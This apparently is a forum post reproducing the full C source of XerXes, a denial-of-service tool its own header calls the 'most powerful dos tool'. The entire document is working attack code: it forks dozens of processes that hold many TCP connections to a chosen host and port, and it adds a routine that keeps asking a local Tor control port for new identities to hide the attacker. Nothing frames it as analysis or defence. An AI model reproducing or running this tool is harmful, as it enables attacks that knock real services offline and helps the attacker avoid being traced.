XerXes- th3j35t3r - Printable Version

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Code:
/* XerXes - Most powerful dos tool - THN (http://www.thehackernews.com) */

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <stdint.h>

#include <unistd.h>

#include <netdb.h>

#include <signal.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

int make_socket(char *host, char *port) {

    struct addrinfo hints, *servinfo, *p;

    int sock, r;

//    fprintf(stderr, "[Connecting -> %s:%s\n", host, port);

    memset(&hints, 0, sizeof(hints));

    hints.ai_family = AF_UNSPEC;

    hints.ai_socktype = SOCK_STREAM;

    if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {

        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));

        exit(0);

    }

    for(p = servinfo; p != NULL; p = p->ai_next) {

        if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {

            continue;

        }

        if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {

            close(sock);

            continue;

        }

        break;

    }

    if(p == NULL) {

        if(servinfo)

            freeaddrinfo(servinfo);

        fprintf(stderr, "No connection could be made\n");

        exit(0);

    }

    if(servinfo)

        freeaddrinfo(servinfo);

    fprintf(stderr, "[Connected -> %s:%s]\n", host, port);

    return sock;

}

void broke(int s) {

    // do nothing

}

#define CONNECTIONS 8

#define THREADS 48

void attack(char *host, char *port, int id) {

    int sockets[CONNECTIONS];

    int x, g=1, r;

    for(x=0; x!= CONNECTIONS; x++)

        sockets[x]=0;

    signal(SIGPIPE, &broke);

    while(1) {

        for(x=0; x != CONNECTIONS; x++) {

            if(sockets[x] == 0)

                sockets[x] = make_socket(host, port);

            r=write(sockets[x], "\0", 1);

            if(r == -1) {

                close(sockets[x]);

                sockets[x] = make_socket(host, port);

            } else

//                fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);

            fprintf(stderr, "[%i: Voly Sent]\n", id);

        }

        fprintf(stderr, "[%i: Voly Sent]\n", id);

        usleep(300000);

    }

}

void cycle_identity() {

    int r;

    int socket = make_socket("localhost", "9050");

    write(socket, "AUTHENTICATE \"\"\n", 16);

    while(1) {

        r=write(socket, "signal NEWNYM\n\x00", 16);

        fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);

        usleep(300000);

    }

}

int main(int argc, char **argv) {

    int x;

    if(argc !=3)

        cycle_identity();

    for(x=0; x != THREADS; x++) {

        if(fork())

            attack(argv[1], argv[2], x);

        usleep(200000);

    }

    getc(stdin);

    return 0;

}